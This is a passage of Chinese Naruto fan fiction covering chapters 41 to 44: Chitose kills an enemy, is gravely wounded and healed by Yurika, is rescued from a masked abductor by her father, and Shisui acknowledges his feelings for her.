长谷川竟被这股气势逼得微微一顿,挥刀的动作停在半空,嗤笑出声:“呵,舍己为人?保护同伴?真是幼稚死了。”
千歲眼瞳一缩。
“你说谁……幼稚?”
没有怒吼,没有迟疑。
就在这一瞬,她猛地俯身,全身查克拉极致凝聚——不是爆发怪力,而是精准、细微、刺入关节的点穴查克拉。
那是曾经纲手对她用过的技巧,她默默记下,此刻在绝境中彻底觉醒。
她的目光冷静得可怕,早已在心中算清一切:
长谷川的细胞再生速度,从最初三秒恢复,拖长到六秒,再到九秒……强化禁术的破绽,正在一点点扩大。
「我一直都很清楚。」
「我没有止水那样冷静聪慧的头脑,无论多凶险的绝境,他都能瞬间理清局势、制定出滴水不漏的计划;我也没有由里香那般锐利的洞察力与果决的行动力,她总能一眼看破破绽,每一步都坚定而准确。」
「论忍术,我不够精湛;论天赋,我远不及族中那些耀眼的天才;论心态,我更是常常慌乱到手足无措。」
「潜入雾隐、突破防线的时候也是一样,全程都是止水和由里香在支撑、在掩护、在拼命,我几乎没有帮上任何真正的忙。」
「明明在心里发过誓,再也不要哭泣,再也不要拖累别人,再也不要让重要的人为了保护我而受伤。」
「可直到此刻我才发现,原来自己依旧这么弱小、这么无力、这么一无是处。」
「可是——
就算是这样笨拙、这样普通、这样不被看好的我。就算我没有过人的头脑,没有强大的忍术,没有天生的天赋。」
「就算我一直都在拖大家的后腿,一直都只能被守护在身后。」
「我也……绝对不要在这里倒下。」
千歲身形一闪,快得只剩残影。
指尖带着压缩到极致的查克拉,精准点向长谷川踝关节、膝关节、肘关节三处神经穴位!
快、准、狠,一气呵成。
“你——!!”
长谷川脸色剧变,一股剧烈的麻痹感从四肢关节疯狂蔓延,双腿一软,持刀的手腕瞬间失去力气。
就是现在!
“膝关节……最后一处——!”
千歲低吼一声,右手猛地从忍具包抽出苦无。
「拳头无法破防,那就用利刃。」
「无法一击秒杀,那就直击要害。」
她在心中默数再生间隔:
四秒……六秒……
「就是现在!」
所有剩余的查克拉、所有的意志、所有的倔强,全部凝聚在握刀的右手。
她没有挥砍,而是像打出怪力拳一般,将苦无连同手臂,狠狠向前一刺!
噗嗤——!
刺耳的穿透声响起。
苦无贯穿皮肉,她的整条手臂,竟直接穿透了长谷川的胸膛,从背后透出。
心脏位置,被彻底摧毁。
“细胞再生?心脏被破坏,你还能恢复吗!?”
少女仰头低吼,写轮眼燃得刺眼,声音里没有恐惧,只有绝境中绽放的、最冷静的智慧与最疯狂的意志。
长谷川瞪大双眼,低头看着贯穿胸口的手臂,黑色查克拉瞬间溃散。
他至死都不敢相信—
自己竟被一个少女,用观察、计算、技巧,一击绝杀。
千歲缓缓转过身看向止水,沾满尘土与血点的木叶护额在夜色里泛着冷而亮的光。
「这一次,换我来保护你们了」
发丝被夜风扬起,凌乱却倔强,沾在她微微泛红的脸颊旁。没有丝毫后怕,没有半分柔弱,只有一种终于可以站在你身侧的笃定。
止水僵在原地,整个人都愣住了。视线里,只剩下那个挡在他身前、瘦弱却无比倔强的背影。
一瞬间,无数记忆碎片疯狂涌入脑海——
那个总是跟在他身后,叽叽喳喳喊不厌其烦喊他名字的小丫头;那个总爱逞强,却会因为训练失败而偷偷委屈的少女;那个刚才明明害怕,却还是和他并肩战斗、眼神发亮的千歲。
那一刻,止水所有的理智、所有的克制、所有用来掩饰心意的借口,全都碎了。
他一直以为,那份在意只是同族的关照,是前辈对后辈的照顾,是同伴间的责任。他以为那只是少年一时的心动,是习惯,是温柔使然。他把每一次心跳、每一次下意识的回头、每一次忍不住的担心,全都藏进“我是前辈”的身份里。
可现在,看着眼前这个浑身是伤、却挺直脊背、用眼神告诉他“我能和你并肩”的少女。看着她刚刚明明可以逃、却义无反顾挡在他身前的模样。
看着她从那个爱哭、会慌、会愣在原地的小孩,长成了此刻能独当一面、能斩杀强敌、能守护同伴的忍者。
他心底那层蒙了很久很久的雾,终于彻底散开。没有任
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何疑问,没有任何挣扎,没有任何自欺欺人。所有的犹豫、所有的掩饰、所有不敢承认的情绪,在这一刻彻底清晰。
不是后辈。
不是普通同伴。
不是挚友。
是喜欢。
从很久很久以前,在她第一次笑着跑到他面前时,在她第一次因为他受伤而慌张时,在她明明弱小却依旧逞强时,那份懵懂的、青涩的、悄悄藏在心底的喜欢,早已生根发芽。
直到此刻,生死一瞬,他才终于敢面对自己的心。心脏疯狂地跳动,不是因为恐惧,不是因为战斗,而是因为眼前这个人。酸涩、滚烫、温柔、又带着极致的心疼与珍视,一股脑全部涌上来,填满了他整个胸腔。
原来自己早从很久以前,就喜欢上千歲了。
不是一时心动,是认真的、想要保护她一辈子的那种喜欢。
千歲怔怔看着自己贯穿长谷川心脏的手臂,温热的鲜血顺着小臂往下淌。她慌忙想抽回手,还带着一点劫后余生,习惯性地想转头冲止水炫耀。
嘴角甚至先一步扬起小小的弧度,声音轻快又带着点小得意:
“笨蛋止水,你看……我赢了——”
话音未落。
空气猛地一滞。
早已失去意识、本该彻底倒下的长谷川,身体竟凭着最后的战斗本能动了。
他垂落的手臂猛地抬起,反握斩首大刀,用尽最后一丝力气,狠狠向后一刺!
刀锋毫无阻碍,从千歲的腹部直接刺入,后背贯穿而出。
“——!”
一声闷哼卡在喉咙里,千歲上扬的嘴角瞬间僵住,轻快的话语戛然而止。
剧痛炸开的瞬间,她整个人猛地一颤,一口鲜红的血不受控制地喷了出来,溅落在染血的地面上。
这是濒死者最后的反扑,是心脏被贯穿也无法磨灭的、忍者的死斗。
止水的世界在这一刻彻底静止。
所有声音、所有光线、所有情绪,全都被那柄贯穿她身体的大刀撕得粉碎。
前一秒还笑着要向他炫耀的身影,下一秒就被刀锋穿透,鲜血喷涌。
他甚至来不及思考,来不及发动瞬身,大脑一片空白,只剩下极致的恐惧与绝望,疯狂席卷全身。
“千歲——!!!”
他冲过去的动作近乎崩溃,双手颤抖得完全不听使唤,想要抱住她,却又怕一碰就碎,连声音都撕裂得不成样子:
“你别吓我,千歲——!!”
他这辈子从未如此害怕过。
强大如他、冷静如他、永远游刃有余的宇智波止水,在这一刻,彻底慌了,彻底乱了,彻底崩溃了。
他刚刚才确认自己的心意,刚刚才明白自己有多喜欢她,命运却在这一刻,给了他最残忍的一击。
千歲的视线开始模糊,腹部的剧痛已经麻木,全身的力气都在飞速流失。
她能感觉到温暖的血不断涌出,能听见止水撕心裂肺的呼喊,那声音好远,又好近。
好痛…
可是……她赢了啊。
她保护了止水和由里香,她没有拖后腿,她做到了。
终于……可以和他并肩了。
意识像沉入冰冷的水底,越来越沉。
她微微张着嘴,还想再叫一声他的名字,还想再看一眼他慌张的脸。
“千歲——!!”
这一声呼喊里,藏着后怕、藏着心疼、藏着绝望、更藏着那份刚刚确认、汹涌而出的心意。绝望的黑幕之下,少年的心意,第一次冲破所有迷茫,彻底破晓,看到的,却是绝望。
巨大的悲痛、极致的恐惧、深入骨髓的绝望、还有迟来的、撕心裂肺的悔恨——所有情绪在胸腔里疯狂炸开,化作最狂暴的痛苦,直冲眼底。失去至爱的瞬间,被残酷的命运强行触发。他原本清澈的写轮眼,在这一刻剧烈扭曲、灼烧、剧痛炸裂。
眼球像是被火焰生生熔铸,纹路疯狂蔓延、重组、蜕变——漆黑的瞳孔中央,全新的、从未见过的图案,在血色泪光中缓缓亮起。
41.第41章 我是否尽到了一个父亲的责任
水之国边境
水之国边境密林,不知火玄间紧抿着唇,护着身旁的浅野,漩涡咲,海斗一众人快步穿行。一路出奇的顺遂,没有追兵,没有埋伏,全靠漩涡咲展开的感知能力,提前避开了所有明哨暗卡,他们悄无声息地逼近国境线,眼看再往前一步,便是脱离险境的地界。
可就在距国境线不足百米的开阔地带,几道身着水之国暗部制服的身影如磐石般守在路口,戒备森严,彻底堵死了前行的路。玄间心头一沉,下意识将这些孩子护到身后,指尖扣住了口中的千本,正思忖着硬闯的胜算——对方人数虽不多,却皆是精锐,以他们二人之力,突围难如登天。
就在这时,一声极轻的“咔嚓”声突兀地划破寂静。
漩涡咲脸色骤白,方才连日奔逃的疲惫早已绷断了她的神经,慌乱间竟不慎踩断了地上一截枯干的树枝。细弱的声响在死寂的林间被无限放大,瞬间吸引了所有暗部的视线!
“有人!”
暗部低喝一声,数道身影瞬间合围,冰冷的查克拉锁定了玄间等四人,杀气如实质般压得人喘不过气。玄间将千本横在身前,四人紧紧相靠,绝望飞速蔓延上来——寡不敌众,今日怕是要折在这里。
便在这生死一线的刹那,
一道漆黑的身影,竟如同从阴影里凭空跃出,没有半点征兆,没有丝毫查克拉波动,骤然落在暗部与四人之间。
那人身着黑袴、身姿挺拔,腰间左边悬两柄寒光凛冽的太刀,右手已然握住了其中一把的刀柄,漆黑的衣摆被林间的风轻轻掀起,仅一站定,一股凛冽如寒冬刀锋的气场便轰然散开,压得周遭空气都仿佛凝固。
是宇智波枭。
不等暗部反应过来,他身形已然动了。
快!快到只剩下一道模糊的黑芒!快到肉眼根本无法捕捉轨迹!快到暗部甚至来不及结印、来不及拔刀!
宇智波枭手腕轻旋,太刀出鞘的声音都被速度压缩成一声极淡的锐响,刀身如银虹贯空,却不见半分杀意——他只用刀背。
“嘭!嘭!嘭!嘭!”
四声沉闷的撞击声几乎连成一线,不过眨眼之间,四名合围的暗部连惨叫都未曾发出,便被精准击中后颈与肩颈要害,直挺挺地倒在地上,尽数晕厥,毫发无伤,却彻底失去了战力。
一招,四人。
没有多余的动作,仅凭纯粹到极致的剑术与速度,便将绝境轻松碾碎。
玄间瞳孔骤缩,海斗,浅野与漩涡咲更是惊得屏住了呼吸,四人怔怔地望着场中收刀的黑色身影,那柄太刀已然利落归鞘。宇智波枭垂眸扫过地上的暗部,语气平淡无波,却带着不容置疑的威严。
“碍事。”
良久,玄间才从极致的震撼中回过神,声音带着几分难以置信,脱口而出:
“枭大人?”
话音未落,密林后方骤然传来脚步声,数十名身着木叶便装暗部飞速赶来,身形利落,查克拉沉稳有序,显然是训练有素的精锐。
旗木卡卡西走在队伍后侧,银发遮眼,目光落在地上晕厥的水之国暗部,又看向场中负手而立的宇智波枭,语气里带着几分了然与叹服。
“枭大人的速度,还是那么快。”
队伍迅速散开,将现场护住,一名负责核验信息的木叶暗部上前一步,目光扫过玄间、浅野与漩涡咲,沉声核对:
“宇智波止水小队,两人。漩涡咲,上田海斗,不知火玄间小队…不知火玄间,浅野光。”
核对完毕,他站直身体,声音清晰有力:
“我们是木叶暗部,奉火影大人之命,前来解救。”
宇智波枭收刀归鞘的动作完成,锐利的目光便飞快扫过眼前紧绷的人群,视线在每张脸上逡巡,最终定格在空荡的队列里。
那瞬间的凝滞,比方才刀刃破空的风声更让人心沉。
他转身,黑色的衣摆扫过地上晕厥的暗部,带起一阵冷冽的风。
“千歲呢。”
不知火玄间猛地低下头,喉结剧烈滚动了一下,连日奔逃的疲惫此刻尽数化作锥心的自责,他几乎不成调:“是我的失误…在雾隐的关押室,突围时遭遇了伏击,队伍被冲散了。由里香、千歲还有止水,他们走了另一条通道。我们……没能汇合。”
每一个字落下,都像一块石头砸在人心底。空气瞬间凝固。
宇智波枭的脸彻底沉了下去,阴影下的眉眼看不清表情,唯有周身散发出的气压,正以肉眼可见的速度疯狂攀升。
那是一种极致的平静,平静到仿佛下一秒就要掀起惊涛骇浪。
旗木卡卡西见状,打破了这令人窒息的沉默。他抬手示意身后的暗部,语气沉稳,带着不容置疑的决断:“抽调三名暗部精英,护送伤员返回木叶。其余人等,随我潜入雾隐。”
卡卡西顿了顿,目光投向队伍中一名身着特殊制服的忍者,声音冷厉:“追踪队,马上展开感知术式,锁定止水等人的查克拉波动。”
「又是如此。」
宇智波枭带着无尽的疲惫与烦躁,像一根紧绷到极致的弦,骤然被拨断。
那股熟悉的躁动,再次将他淹没。
这感觉太熟悉了。和当年千手奏失踪时,一模一样。
那时他也是听着暗部人员徒劳的汇报,感觉整个世界都被抽走了色彩。耳边仿佛又响起妻子那日决绝的话语,冰冷又锋利,直插心脏——
“你从来没有尽到过一个父亲的责任。”
那句话,像一道无法愈合的伤疤,时刻刻在骨血里。明明已经过去那么久,此刻回想起来,却依旧清晰得仿佛就在昨天。
他深吸一口气,右手抚上腰间的太刀刀柄。那是他重新拾起的、唯一能给自己安全感的东西。
「如今的自己,已经没有什么好留恋的了。」
这句无声的呢喃,是说给逝去的妻子听,也是说给此刻摇摆不定的自己听。
宇智波枭抬眼,漆黑的眸子里只剩下决绝与坚定。他不再有丝毫犹豫,周身的气压瞬间收敛,化为一柄蓄势待发的刀。
“出发。”
简洁有力的两个字,在寂静的边境线上落下。
旗木卡卡西点头,一声令下:“行动!”
另一边,雾隐边境
鲜血浸透了
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泥土,在止水脚下晕开。止水死死抱着千歲的身体,那柄贯穿她腹部的大刀还狰狞地插在伤口处,生命正以无法阻挡的速度从她体内流逝。
千歲的瞳孔失去了往日的光亮,一点点涣散、空洞,原本温热的身躯,正以令人心悸的速度变得冰冷、僵硬。
彻骨的绝望淹没了止水,四肢都在发麻,意识一片空白。
剧烈的悲痛与无力冲击着他的眼底,双眼不受控制地剧烈收缩——万花筒写轮眼开启,漆黑的纹路在血眸中展开,透着破碎般的绝望与狂暴。
他甚至不敢低头,不敢去确认怀中人最后的温度。
“你在干什么!快——帮我把她放平!
一声急促却异常坚定的呼喊猛地刺破死寂。
止水猛地回神,愕然看向身旁的由里香。
那一刻,他瞳孔骤缩。
由里香原本的双勾玉写轮眼,不知何时已彻底觉醒,化作了三勾玉。
明亮而稳定,没有慌乱,只有一种近乎孤注一掷的决绝。
“千歲……还有救!”
连由里香自己都不清楚,这份勇气究竟从何而来。她只是看着千岁即将熄灭的生命,心底有一股力量冲破了所有恐惧。
止水一震,像是被一道惊雷劈醒。
他机械地听从由里香的指令,颤抖着、小心翼翼地将千岁平放在地面,不敢有半分晃动——那柄贯穿腹部的刀依旧插在原处,两人都清楚,一旦贸然拔出,只会让她瞬间血崩。
就在此刻,由里香崭新的三勾玉写轮眼缓缓凝视着千岁的伤口。
她终于觉醒了那份只有写轮眼才能催动的、传承自母亲的特殊医疗忍术。
可眼前这样大范围的伤势,腹部几乎被全部贯穿,就算是木叶最顶级的医疗忍术,也难以修复。
可,她的母亲,宇智波仁美的话,说不定能做到。
以瞳力直视细胞层次,看清血管、神经、肌肉的每一寸断裂与走向,再以精密查克拉强行连接、修复、再生——这是在高端外科医疗中近乎奇迹的手法,是她从小看着母亲施展、却从未亲手实践过的医疗忍术。
她没有把握,甚至连理论都算不上熟练。
可现在,没有退路。
“止水,我知道你现在脑子一片空白……接受不了眼前的一切。”
由里香迅速从忍具包中翻出简易的医疗器具,指尖因紧张而发抖,语气却越来越稳,“但是,就算只有万分之一的希望,我…不会放弃。”
止水的心脏狠狠一缩。
刹那间,千歲方才虚弱却坚定的声音,清晰地回荡在他脑海里——
“我认识的止水,绝对不是一个轻易放弃的人。”
是啊,他不知道怎么了,从前无所畏惧的宇智波止水,如今却像个胆小鬼一样,被两个女孩子所护在身后。
止水猛地回神,他攥紧拳头,声音沙哑却带着重新燃起的坚定:“由里香……你有办法?”
由里香深吸一口气,三勾玉写轮眼稳稳锁定千岁的伤口,没有丝毫退缩。
“嗯。我不确定能不能成功……但有一赌的价值。”
42.第42章 胆怯的心意
大刀深深嵌在千岁的腹部深处,金属与血肉粘连的触感让由里香指尖发冷,她深吸一口气,压下心中的慌乱。
“止水,拔刀。”
她的声音很轻,却带着不容置疑的命令,止水没有多问,一手稳稳固定住千岁的身体,另一手攥紧刀柄,在由里香点头的瞬间猛地向外一抽——
“嘶——”
鲜血瞬间喷涌而出,溅在由里香的手背、袖口,温热的触感刺得她瞳孔骤缩。
“纱布!按住!别松手!”
由里香厉声喝道,止水立刻将叠好的无菌纱布狠狠按在创口上,鲜血迅速浸透了一层又一层。
她后退半步,指尖微微颤抖,这是她第一次真正要动用细胞再生之术。
从前,她只在母亲的手术室前见过,只记住了手法、查克拉流动的轨迹,却从未亲手实践。没有练习,没有试错,此刻面对的是濒死的千歲,她连失败的余地都没有。
可她不能退缩。
由里香闭上眼,再睁开时,三勾玉在眼底高速旋转,将伤口的每一根血管、每一寸破损肌肉都看得一清二楚。她抬手,指尖贴上千歲冰冷的皮肤,查克拉顺着指尖缓慢、却异常坚定地渗进去——
这不是熟练的技艺,是赌命。
她的手法并不流畅,甚至带着生涩的曲折,指尖时而轻顿、时而加急,每一次调整查克拉的流速,都像是在黑暗中摸索悬崖的边缘。她能清晰感觉到伤口内部的混乱,肌肉撕裂、血管破损,细胞大面积坏死,稍有不慎,就会让查克拉暴走,直接摧毁千岁的经脉。
冷汗顺着她的额角滑落,滴在千歲苍白的脸颊上。
止水在一旁看得心惊,却不敢出声打扰,只按照由里香之前的吩咐,安静地递上剪刀、干净纱布、止血粉,每一个动作都轻得像怕惊扰这场与死神的对赌。
由里香的视线始终锁在伤口上,可思绪却不受控制地飘回了很久以前。
那是她这辈子最孤独的年纪。
失去父亲,没有同伴,整个宇智波的孩子都躲着她,说她眼神阴冷、说她性格凶。她习惯了缩在训练场最偏僻的角落,习惯了一个人吃饭,一个人练习忍术,习惯了把所有的温柔都藏在刺里,装作谁也不在乎。
直到千歲出现。
她是第一个主动走向她的人。
没有嫌弃,没有疏离,没有小心翼翼的试探,只是大大咧咧地坐在她身边,把多余的甜点推给她,笑着说:“干嘛一个人坐在这,不无聊吗。”
那时候的由里香嘴硬,翻着白眼骂他多管闲事,心里却像被什么东西轻轻撞了一下。
后来他们成了别人眼里的死对头。
在外人看来,两人见面必吵,吵完必闹,像是天生不合。
可只有由里香自己知道,那些吵闹,是她唯一敢靠近她的方式。
她从小没有朋友,千歲是第一个,也是唯一一个。她从没想过,有一天,这个总是跟她拌嘴、总是在她受伤时嘴硬心软,会成为她在这世上最亲近、最不能失去的人。
直到此刻,看着千歲失去聚焦的瞳孔,她才真正明白——
她早就不能没有她了。
查克拉在她指尖再次失控,伤口微微抽搐,由里香猛地咬紧下唇,尝到一丝血腥味才把心神拉回现实。
不行,不能慌,这是她第一次用细胞再生之术,是她唯一的机会,也是千歲唯一的机会。
就算只看过母亲施展,就算一次都没练习过,就算这是拿命在赌,她也必须赢。
“止水,剪刀。”
她声音微哑,却异常稳定。
止水立刻递上手术剪,由里香手腕曲折,精准地剪去坏死的皮肉,动作依旧生涩,却每一下都稳得可怕。写轮眼不断解析、修正,她凭着记忆里母亲的手法,凭着执念,强行将溃散的查克拉收拢,一点点修复破损的细胞。
细胞在再生,肌肉在愈合,断裂的血管慢慢连接。每推进一分,她的冷汗就多一层,查克拉的消耗让她眼前微微发黑,可她死死撑着,指尖一刻也没有离开千歲的皮肤。
她在心里一遍遍地对自己说:
我可以的,我能救她,我必须救她。
她是我唯一的朋友。
我不能输。
更不能能失去她。
止水看着由里香微微发抖却始终坚定的背影,看着她眼底盛满了孤注一掷的温柔。
这场手术,由里香救的不只是千歲,更是她自己仅剩的全部世界。
在无数次的尝试,不知道过了多久。
汗水浸透了由里香的衣服,紧紧贴在身上,但她顾不上这些,动作快得像残影,一边收拢最后几道缝合,一边哑着嗓子指令:
“剪刀!”
止水不敢怠慢。
随着最后一笔结印落下,写轮眼缓缓闭上。千歲腹部那狰狞的创口,奇迹般地开始闭合,暗红血痂迅速形成,虽然还未完全长好,但那最致命的出血已经止住了。
由里香长舒一口气,浑身力气瞬间抽离,她踉跄着后退半步,一屁股坐在冰冷的岩石上。虎口因为长时间紧绷而发麻,指尖还残留着手术时的触感。
“虽然已经脱离了生命危险,但是还不能掉以轻心。”
她抬头,看着止水小心翼翼为千岁盖上外套,那颗悬到嗓子眼的心,终于重重落回胸腔。
止水长松一口气,转头看向由里香,眼神里带着由衷的敬佩,“多亏了你,由里香。”
由里香没说话,只是抬手揉了揉发酸的眉心,感觉自己这辈子没有那么累过。
“别废话了,快走。”她强撑着站起身,声音依旧沙哑,却摆出了那副惯有的不耐烦模样,
“雾隐的追兵不可能傻等着,这里离边境太近,必须马上转移。”
两人不敢有丝毫耽搁。止水背起尚且昏迷的千歲,走得沉稳而坚定。由里香则走在最前方探路,穿梭在林间,原本张扬的气息收敛殆尽,只剩下身为忍者的敏锐与警惕。
直到夕阳彻底沉入西山,他们才终于在一处陡峭的山崖
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下找到了落脚点。被藤蔓遮掩的山洞入口,隐蔽而幽深,天然的岩石构成了绝佳的屏障。
山洞不大,却足够容下三人。止水将千歲轻轻安放在干燥的干草堆上,尽量让她姿势舒适。
由里香没有休息,她第一时间起身,检查着洞内的地形,止水在确认没有机关暗道后,又快步走出去,不一会儿便带回了几截干枯的树枝。
他生火的动作很熟练,橘黄色的火光跳跃起来,驱散了黑暗与阴冷。
火光映照下,千歲的脸色依旧苍白,但呼吸已经变得平稳深沉。
由里香蹲在千歲身边,没有立刻起身,只是静静地看着。她伸出手,悬在半空许久,最终还是只是轻轻拂了拂她额前的碎发。
这个动作极轻。
她想起刚才手术时,每一次查克拉暴走的惊险,想起止水递工具时颤抖的指尖,想起自己心里那声不敢停歇的呐喊。
两个人围着柴火,一言不发。
空气中弥漫着紧张的氛围。
由里香率先打破了这份沉得发闷的安静。她声音很轻,轻得几乎要被火声盖过:
“你……觉得千歲怎么样?。”
止水蹲坐在火堆另一侧,侧脸隐在半明半暗的光影里,神色始终紧绷着,阴沉得少见。他沉默了很久,最终只挤出一句极轻、极认真的话:
“……她很好。”
由里香抬眼,目光静静落在他身上,没有移开。
“是吗。”她顿了顿,语气平淡得像随口一提,“我还以为,你不止是觉得她很好。”
止水的身体微微一僵。
像是心底最隐秘、最不敢触碰的角落,被人无声地戳破。他避开由里香的视线,呼吸都乱了半拍。
他不是不明白。
只是一路看着她受伤、倒下,直到生死一线间,他才终于肯面对那份藏了太久太久的心意。
之前他在回避,在告诉自己只是同伴、只是责任,可直到刚才他才彻底认清——那早已不是简单的在意。
可眼下生死未卜、前路不明,这份突然清晰的心意,来得沉重又无措。
他声音沙哑得厉害:
“我喜欢她。可是,千歲她……”
他说不下去。
他不知道千歲怎么想,不知道她会不会懂,更不知道在这样的时刻,该不该说、能不能说。
由里香轻轻转过头,望向干草堆上沉睡的千歲。她再转回来时,望着止水眼底藏不住的迷茫与胆怯,轻轻叹了口气。
“你不说,她可能这辈子都发觉不了。”
止水眼底泛起更深的无措。
由里香沉默片刻,轻声吐出一句带着无奈、却又无比温柔的话:
“……谁让她,本来就是个笨蛋啊。”
止水终于敢面对自己的心意,可也正因如此,那份害怕被拒绝、害怕连现在的关系都保不住的不安,才更汹涌地涌上来。
喜欢一个人,在认清心意的那一刻,最先到来的不是欢喜,而是胆怯。
43.第43章 来自岳父的认可
篝火早已在赶路时熄灭,夜色浓得化不开。
由里香和止水一前一后,拖着近乎虚脱的身体,在荒林中艰难前行。千歲依旧昏沉,被止水用外衣裹紧背在背上,每一步颠簸都让两人心头一紧。查克拉早已所剩无几,四肢像灌了铅一样沉重,由里香刚耗尽全身力量完成第一次细胞再生,止水则连日不眠不休守护、奔逃,两人早已到了体力的极限。
就在他们几乎要瘫倒在地的瞬间。
空间骤然扭曲。
黑色的漩涡像一张张开的嘴,在前方无声撕裂,空气震颤,一股令人窒息的压迫感从天而降。
一道身影缓缓从虚无中踏出。
虎皮面具,漆黑长袍,周身散发出不属于这个世界的阴冷查克拉。
是之前在雾隐一带,让他们脊背发寒的那个神秘人。
只一眼,由里香和止水的心脏便瞬间沉到谷底。
不用交手,他们就清楚——这个人的实力,是他们连仰望都够不到的级别。
面具男没有丝毫多余动作,低沉的声音从面具后传出,冷得像冰:
“把你们背上的金发小鬼,交给我。”
一句话,让两人浑身血液冻结。
目标——是千歲。
止水瞬间将千歲往身后护得更紧,由里香强撑着发软的双腿,指尖结印,写轮眼勉强开启。两人没有退路,只能摆出最后的战斗姿态,哪怕明知是以卵击石。
“妄想。”止水咬牙,声音嘶哑却坚定。
面具男轻轻嘶哑的嗓音嗤笑一声,甚至没有认真出手。
只是随手一挥,恐怖的查克拉便如海啸般席卷而来。
由里香最先被气浪击中,整个人像断线的风筝一样被一掌弹飞数十米,狠狠撞在粗壮的树干上,再重重落地。
她呕出一口血,浑身骨头像碎了一样,刚刚透支过度的查克拉彻底枯竭,连一根手指都动不了,只能睁着眼,绝望地望着前方。
不过一瞬,战局便已碾压式落幕。
面具男身影一闪,直接从止水怀中粗暴地夺过昏迷的千歲,单手一扛,便要再次踏入空间漩涡。
止水猛地抽出背后短刀,用尽最后一丝力气扑上前,刀锋直劈面具男后背——
然而下一秒,他绝望了。
刀身毫无阻碍穿过了面具男的身体。
没有血,没有碰撞,只有一片虚无的空洞。
止水整个人僵在原地,满脸震惊。
他从未见过这样的忍术,身体凭空虚化,物理攻击完全无效。这已经超出了他认知里的所有替身、分身、遁术。
“……什么?”
他甚至来不及反应,便被面具男一脚踹中胸口,狠狠砸在地上。
他只是凭着一股近乎疯狂的执念,用身体去撞,用手去抓,用仅剩的全部力气去拽住千歲的衣角。指甲深深抠进布料里,渗出血丝。
又被面具男的查克拉击中腹部,倒飞出去,又立刻爬起来;
手臂被查克拉割开深可见骨的伤口,他浑然不觉;视线模糊,浑身剧痛,他依旧一步一步,朝着那个带走千歲的背影冲去。
每一步都在流血,每一步都在崩溃。
他还没来得及看她睁开眼,怎么可能让她就这样被带走。
“把她放下——!!”
止水嘶吼出声,声音破碎到嘶哑,带着绝望到极致的颤抖。
是他拼尽灵魂的呐喊。
面具男不耐烦至极,眼中杀意暴涨,抬手就要彻底抹杀这个碍事的小鬼。
就在死亡降临的刹那——
“宇智波流·一刀两断!”
冷冽的喝声破空而来,月光般的刀光撕裂黑暗,黑发身影从天而降,万花筒写轮眼照亮夜空,长刀出鞘,硬生生挡下了面具男的致命一击。
地上的止水撑着残破的身体,呆呆仰头望着那道背影。
心脏猛地一震。
这双万花筒……
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这股宇智波的气息……
这压倒性的强大……
他几乎是瞬间反应过来——
这个人,是千歲的父亲。
宇智波枭。
止水趴在地上,浑身是伤,却拼尽全力嘶吼提醒:
“他可以让身体凭空虚化!普通攻击对他没用!”
面具男心底一沉。
虚化被看穿,眼前这个男人又难缠,如果只是枭一人,他或许还能周旋。
可就在这一刻,远处突然传来急促的破风声!
数道身影从树林两侧飞速合围,领头的银发少年眼神锐利,一手雷切已然蓄势待发。
旗木卡卡西,带队的木叶精锐暗部,赶到了。
包围圈瞬间形成,查克拉气息层层叠叠,将整片林地封锁。
面具男面具下的脸色彻底冷了下来。
前有宇智波枭,后有木叶暗部主力,他已彻底陷入绝境,再缠斗下去只会暴露身份,毫无胜算。
“啧……”
一声低啧,他不敢恋战,转身就要借空间忍术撤退。
就是这一瞬的空隙!
宇智波枭眼神一冷,刀光如电突进,趁着面具男虚化解除、准备发动忍术的刹那,精准出手,一把将千歲稳稳夺回,顺势扛在肩上,动作稳得不容撼动。
“休想带走她。”
低沉的嗓音带着绝对的压迫感,面具男再无机会,只能不甘地遁入黑色漩涡,彻底消失在夜色中。
危机,终于解除。
止水撑着断裂的身体,呆呆仰头望着眼前这个将千歲护在肩上的黑发男人。
万花筒写轮眼,压倒性的实力,护女时不容侵犯的气场……
……这就是,千歲的父亲。
宇智波枭缓缓垂眸,看向浑身是伤、却从头到尾没有后退一步的止水,冰冷的眼底掠过一丝清晰的认可。
他开口,声音低沉有力:
“干得不错,小鬼。”
44.第44章 我喜欢你
木叶病院,306号病房
消毒水气息里,金发少女安静地躺在病床上,呼吸轻浅而均匀。水之国的风波过去整整半个月,自止水一行人平安归村,千歲便第一时间被送入病院接受后续治疗,可自那以后,她便再也没有睁开过眼睛。
病房内外,一道身着深色和服的黑发男子频繁进出——那是宇智波枭,千岁的父亲。半个月来,他几乎寸步不离地守在病床前,目光从未从女儿沉睡的脸庞上移开,那份固执的守候,没能换来少女苏醒的回应。
这段日子里,由里香、宇智波鼬等人都曾前来探望,病房里短暂地响起过几句轻得怕惊扰病人的问候,却始终少了一道本该出现的身影。
那个有着黑色微卷头发的少年,自回来后便闭门不出。
宇智波镜站在止水紧闭的房门外,望着门板后沉寂得令人心头发紧的空气,终是轻声开口:“你不去看看千歲吗?”
门内久久没有回应,只有沉默在空气里一点点发酵,压得人喘不过气。许久,一道沙哑得近乎破碎的声音才闷闷地传出来,带着连自己都不愿承认的逃避。
“……过几天吧。”
宇智波止水不是不想去,是不敢。
不敢面对病床上毫无生气的千岁,更不敢面对那个自以为强大、信誓旦旦能保护所有人的自己。
水之国任务中,面对长谷川和那位神秘的面具男,他所有的骄傲与自信被彻底击碎,少年终于清楚地意识到,自己的力量究竟有多渺小,渺小到连身边最重要的人都护不住。
无尽的自责将他淹没,让他连踏出房门的勇气都没有。
宇智波镜轻轻推开了房门。
屋内没有点灯,昏暗中,他看见少年颓然地瘫坐在榻榻米上,整个人被一种近乎绝望的颓丧包裹,往日里明亮温和的气息荡然无存。
老人的目光落在他眼底浮动的查克拉上,忽然捕捉到一丝极细微、却绝不该出现在他身上的异样:
“你的眼睛……?”
止水沉默片刻,低低应了一声:“嗯……是这次水之国任务途中,开启的。”
房门边,宇智波镜静静站着,没有多问一句任务中的凶险,也没有说任何安慰的话。他只是望着屋内消沉的止水,轻声提醒:“记得出来吃饭,我热过好几次了。”
说完,便轻轻带上了门,将一室的沉默与自责,重新还给了那个被困在愧疚里的少年。
止水目光无意识扫过床头,那一刻,止水的动作顿住。
是一张被仔细塑封过的双人照。
这是上一次身体互换时,那相机偶然留下的旧影。
照片上的他还是平时那副游刃有余的样子,而旁边的千岁……金发微乱,瞳孔里写满了被吓一跳的惊慌与失措,脸颊因为紧张微泛红,仿佛像是还能看见她当时脱口而出的那句话。
他缓缓起身,指尖轻轻拿起照片。
触感微凉,却隔着一层时光的温热。
止水的指腹极其小心地贴上去,描摹着照片里千岁那张惊慌又可爱的小脸。指尖划过的地方,仿佛在触碰那段日子里的日常,心跳在这一刻莫名失了节拍。
脑海里,水之国的记忆瞬间倒灌而来。
